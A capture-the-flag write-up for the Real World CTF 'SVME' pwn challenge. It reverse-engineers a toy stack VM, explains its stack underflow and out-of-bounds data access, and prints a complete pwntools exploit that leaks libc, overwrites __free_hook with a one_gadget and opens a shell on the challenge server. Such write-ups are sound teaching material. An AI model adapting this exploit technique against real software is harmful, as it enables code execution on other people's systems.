Tags: virtualization pwn 

Rating: 5.0

# [Real World CTF] Pwn - SVME (Baby)

## Description

Professor Terence Parr has taught us [how to build a virtual machine](https://www.slideshare.net/parrt/how-to-build-a-virtual-machine). Now it's time to break it!

```
nc 47.243.140.252 1337
```

[attachment](https://realworldctf-attachment.oss-accelerate.aliyuncs.com/svme_9495bfd34dcaea7af748f1138d5fc25e.tar.gz)

## Source code

```c
#include <stdbool.h>
#include <unistd.h>
#include "vm.h"

int main(int argc, char *argv[]) {
int code[128], nread = 0;

// Read 128 bytes of code (which architecture ??)
while (nread < sizeof(code)) {
int ret = read(0, code+nread, sizeof(code)-nread);
if (ret <= 0) break;
nread += ret;
}

// Create a Virtual Machine for the given code
VM *vm = vm_create(code, nread/4, 0);
vm_exec(vm, 0, true);
vm_free(vm);

return 0;
}
```

## vm_exec function

After some reverse engineering I got the following code:

```c
void vm_exec(vm *vm, int32_t initial_ip, bool debug)
{
int32_t iVar1;
int32_t operand_pointer;
int64_t iVar4;
int64_t var_38h;
int32_t instruction_pointer;
int32_t stack_pointer;
int32_t var_24h;
int32_t opcode;
int32_t var_1ch;
int64_t var_18h;

stack_pointer = -1;
var_24h = -1;
opcode = vm->code[initial_ip];
instruction_pointer = initial_ip;
while ((opcode != 0x12 && (instruction_pointer < vm->code_len))) {
if (debug) {
vm_print_instr(vm->code, instruction_pointer);
}
operand_pointer = instruction_pointer + 1;
// switch table (18 cases) at 0x202c
switch(opcode) {
default:
printf("invalid opcode: %d at ip=%d\n", opcode, instruction_pointer);
exit(1);
instruction_pointer = operand_pointer;
break;
case 1: // iadd
vm->stack[stack_pointer + -1] = vm->stack[stack_pointer + -1] + vm->stack[stack_pointer];
instruction_pointer = operand_pointer;
stack_pointer = stack_pointer + -1;
break;
case 2: // isub
vm->stack[stack_pointer + -1] = vm->stack[stack_pointer + -1] - vm->stack[stack_pointer];
instruction_pointer = operand_pointer;
stack_pointer = stack_pointer + -1;
break;
case 3: // imul
vm->stack[stack_pointer + -1] = vm->stack[stack_pointer + -1] * vm->stack[stack_pointer];
instruction_pointer = operand_pointer;
stack_pointer = stack_pointer + -1;
break;
case 4: // ilt
vm->stack[stack_pointer + -1] = (uint32_t)(vm->stack[stack_pointer + -1] < vm->stack[stack_pointer]);
instruction_pointer = operand_pointer;
stack_pointer = stack_pointer + -1;
break;
case 5: // ieq
vm->stack[stack_pointer + -1] = (uint32_t)(vm->stack[stack_pointer + -1] == vm->stack[stack_pointer]);
instruction_pointer = operand_pointer;
stack_pointer = stack_pointer + -1;
break;
case 6: // br
instruction_pointer = vm->code[operand_pointer];
break;
case 7: // brt
operand_pointer = stack_pointer + -1;
iVar4 = (int64_t)stack_pointer;
instruction_pointer = instruction_pointer + 2;
stack_pointer = operand_pointer;
if (vm->stack[iVar4] == 1) {
instruction_pointer = vm->code[operand_pointer];
}
break;
case 8: // brf
operand_pointer = stack_pointer + -1;
iVar4 = (int64_t)stack_pointer;
instruction_pointer = instruction_pointer + 2;
stack_pointer = operand_pointer;
if (vm->stack[iVar4] == 0) {
instruction_pointer = vm->code[operand_pointer];
}
break;
case 9: // iconst
vm->stack[stack_pointer + 1] = vm->code[operand_pointer];
instruction_pointer = instruction_pointer + 2;
stack_pointer = stack_pointer + 1;
break;
case 10: // load
vm->stack[stack_pointer + 1] = vm->stack[(int64_t)var_24h * 0xb + (int64_t)vm->code[operand_pointer] + 0x3e9];
instruction_pointer = instruction_pointer + 2;
stack_pointer = stack_pointer + 1;
break;
case 0xb: // gload
vm->stack[stack_pointer + 1] = vm->data[vm->code[operand_pointer]];
instruction_pointer = instruction_pointer + 2;
stack_pointer = stack_pointer + 1;
break;
case 0xc: // store
vm->stack[(int64_t)var_24h * 0xb + (int64_t)vm->code[operand_pointer] + 0x3e9] = vm->stack[stack_pointer];
instruction_pointer = instruction_pointer + 2;
stack_pointer = stack_pointer + -1;
break;
case 0xd: // gstore
vm->data[vm->code[operand_pointer]] = vm->stack[stack_pointer];
instruction_pointer = instruction_pointer + 2;
stack_pointer = stack_pointer + -1;
break;
case 0xe: // print
printf(0x2008);
instruction_pointer = operand_pointer;
stack_pointer = stack_pointer + -1;
break;
case 0xf: // pop
instruction_pointer = operand_pointer;
stack_pointer = stack_pointer + -1;
break;
case 0x10: // call
operand_pointer = vm->code[operand_pointer];
iVar1 = vm->code[instruction_pointer + 2];
var_24h = var_24h + 1;
vm_context_init((int64_t)(vm->stack + (int64_t)var_24h * 0xb + 1000), (uint64_t)(instruction_pointer + 4),
iVar1 + vm->code[instruction_pointer + 3]);
for (var_1ch = 0; var_1ch < iVar1; var_1ch = var_1ch + 1) {
vm->stack[(int64_t)var_24h * 0xb + (int64_t)var_1ch + 0x3e9] = vm->stack[stack_pointer - var_1ch];
}
instruction_pointer = operand_pointer;
stack_pointer = stack_pointer - iVar1;
break;
case 0x11: // ret
iVar4 = (int64_t)var_24h;
var_24h = var_24h + -1;
instruction_pointer = vm->stack[iVar4 * 0xb + 1000];
}
if (debug) {
vm_print_stack(vm->stack, stack_pointer);
}
opcode = vm->code[instruction_pointer];
}
if (debug) {
vm_print_data(vm->data, vm->data_len);
}
return;
}
```

We can see the opcodes / intructions of the VM in the switch case.

The `vm` struct is set as follows:

```
struct vm {
int32_t *code;
int32_t code_len;
int32_t fill;
int32_t *data;
uint32_t data_len;
int32_t stack[1024]; // We don't really know the size of the stack
};
```

## Vulns

There are two vulnerabilities in the VM.

1. There is no control on the VM stack pointer. You can then overflow the stack by pushing too much data, but you can also underflow it.
- If you have `stack_pointer = -3` and you push a value (`iconst`, opcode 9), you will overwrite the data stored at `stack_pointer = -2`, which is part of the `vm` struct.
2. There is also an out of bounds read/write to the data array.
- If you use the `gload` or `gstore` operations with an operand that is out of bounds, you will be able to read or write any arbitrary data.
- ⚠ You can't access anywhere directly. You are limited by the 32-bit size of the operand. But you can use the underflow to overwrite the `data` pointer in the struct, to get closer to the data you want to read or write.

## How the exploit works

My exploit will be seperated into three parts.

### Get the host stack

First thing to do is to get a host stack address.

Fortunately, the `vm->code` points to the start of the code array, which is stored in the `main` frame of the stack.

Since our `vm` struct is 0x2100 bytes long, and the `data` array is allocated just after the `vm` struct, we can get the `vm->code` pointer by subtracting 0x2100 from the `data` pointer. We can just use `gload` with an operand of 0x2100 / 4 and another `gload` with an operand of 0x2100 / 4 + 1 to get both the most significant and the least significant bytes of the `vm->code` pointer (since a pointer is 64 bits long and `gload` will read only 32 bits).

Once we have the `vm->code` pointer, we set the `vm->data` pointer to this address in order to have full access to the host stack.

### Find `__free_hook` address

Since we have full access to the host stack, we can find the return address of the `main` function. This will point to the `__libc_start_main` function, which is in the libc.

With some research using `gdb`, I found that this return address is located at `vm->data[0x218 / 4]` and `vm->data[0x218 / 4 + 1]`.

Once we got this address using `gload`, we can use it to calculate the address of `__free_hook` using `pwntools`:

```python
__free_hook = found_address - libc.libc_start_main_return + libc.symbols['__free_hook']
```

We don't know the base address of the libc, but we don't care since `pwntools` will give us the correct offsets anyway.

When this is done, we can overwrite the `vm->data` pointer to the `__free_hook` address.

### Replace `__free_hook`

We need to find some one-gadgets to replace the `__free_hook` address. We can use the `onegadget` utility, which will give us many gadgets, and we will try all of them until we find one that works.

We can calculate the address of the one gadget we want using its offset and the `__free_hook` offset in the `libc`:

```
one_gadget_address = __free_hook - libc.symbols['__free_hook'] + one_gadget_offset
```

Then we can store it in the `vm->data` array. When the VM will exit, the structs will be freed and the `__free_hook` will be triggered, which might give us a shell if everything works.

## Exploit

```python
from pwn import *

context.binary = elf = ELF("./svme")
libc = ELF("./libc-2.31.so")

# For debugging :
context.terminal = ["tmux", "splitw", "-h"]

host = "47.243.140.252"
port = 1337

instructions = [
"noop",
"iadd",
"isub",
"imul",
"ilt",
"ieq",
"br",
"brt",
"brf",
"iconst",
"load",
"gload",
"store",
"gstore",
"print",
"pop",
"call",
"ret",
"halt",
]

def assemble(code):
lines = [line.strip() for line in code.split("\n") if line.strip()]

machine_code = b""

for line in lines:
l = line.split()
machine_code += p32(instructions.index(l[0]))

for arg in l[1:]:
if arg.startswith("0x") or arg.startswith("-0x"):
machine_code += p32(int(arg, 16) % 0x100000000)
else:
machine_code += p32(int(arg) % 0x100000000)

return machine_code

one_gadget = 0xe6c81

code = assemble(f"""
gload {-0x2100 // 4 + 1}
store 0
gload {-0x2100 // 4}
store 1
print
print
print
load 1
load 0
iconst 0
gload {0x218 // 4 + 1}
store 0
gload {0x218 // 4}
iconst {libc.libc_start_main_return}
isub
iconst {libc.symbols['__free_hook']}
iadd
store 1
print
print
print
load 1
load 0
iconst 0
load 0
load 1
iconst {libc.symbols['__free_hook']}
isub
iconst {one_gadget}
iadd
gstore 0
gstore 1
halt
""").ljust(0x200, b"\x00")

p = remote(host, port)

p.send(code)

p.sendline(b"cat ../flag")
flag = p.recvline().strip().decode()

p.close()

success(f"Flag: {flag}")
```

## Code explanation

```
gload {-0x2100 // 4 + 1} # Get half of the `code` ptr
store 0
gload {-0x2100 // 4} # Get the other half
store 1
print
print
print
load 1 # Replace the `data` ptr
load 0
iconst 0
gload {0x218 // 4 + 1} # Get the `libc_start_main_return` value
store 0
gload {0x218 // 4}
iconst {libc.libc_start_main_return} # Calculate the `__free_hook` address
isub
iconst {libc.symbols['__free_hook']}
iadd
store 1
print
print
print
load 1 # Replace the `data` ptr
load 0
iconst 0
load 0
load 1
iconst {libc.symbols['__free_hook']} # Calculate the one gadget address
isub
iconst {one_gadget}
iadd
gstore 0 # Overwrite the `__free_hook`
gstore 1
halt
```

When the vm exits, the program calls `vm_free`, which call `free`, which calls `__free_hook` if it is set.

Since we set it to our one_gadget, we can get our shell :)

Original writeup (https://hackintn.telecomnancy.net/writeups/svme/).
SuperFashiJan. 23, 2022, 6:07 p.m.

The source is provided inside the package haha.